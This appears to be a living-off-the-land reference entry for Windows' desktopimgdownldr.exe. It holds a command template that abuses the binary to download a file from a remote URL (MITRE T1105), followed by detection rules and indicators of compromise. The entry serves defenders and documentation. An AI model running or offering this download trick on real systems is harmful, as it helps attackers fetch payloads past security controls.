01 / TRADECRAFT
1 examplesCommand reference
Download1
EXAMPLE 01T1105
Downloads the file and sets it as the computer's lockscreen
COMMAND
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr02 / ON DISK
Known paths
c:\windows\system32\desktopimgdownldr.exe03 / DEFENSIVE INTELLIGENCE
3 resourcesDetection & indicators
- Sigmaproc_creation_win_desktopimgdownldr_susp_execution.ymlgithub.com
- Sigmafile_event_win_susp_desktopimgdownldr_file.ymlgithub.com
- Elasticcommand_and_control_remote_file_copy_desktopimgdownldr.tomlgithub.com
Indicators & detection notes
- IOC
desktopimgdownldr.exe that creates non-image file
- IOC
Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Gal Kristal@gal_kristal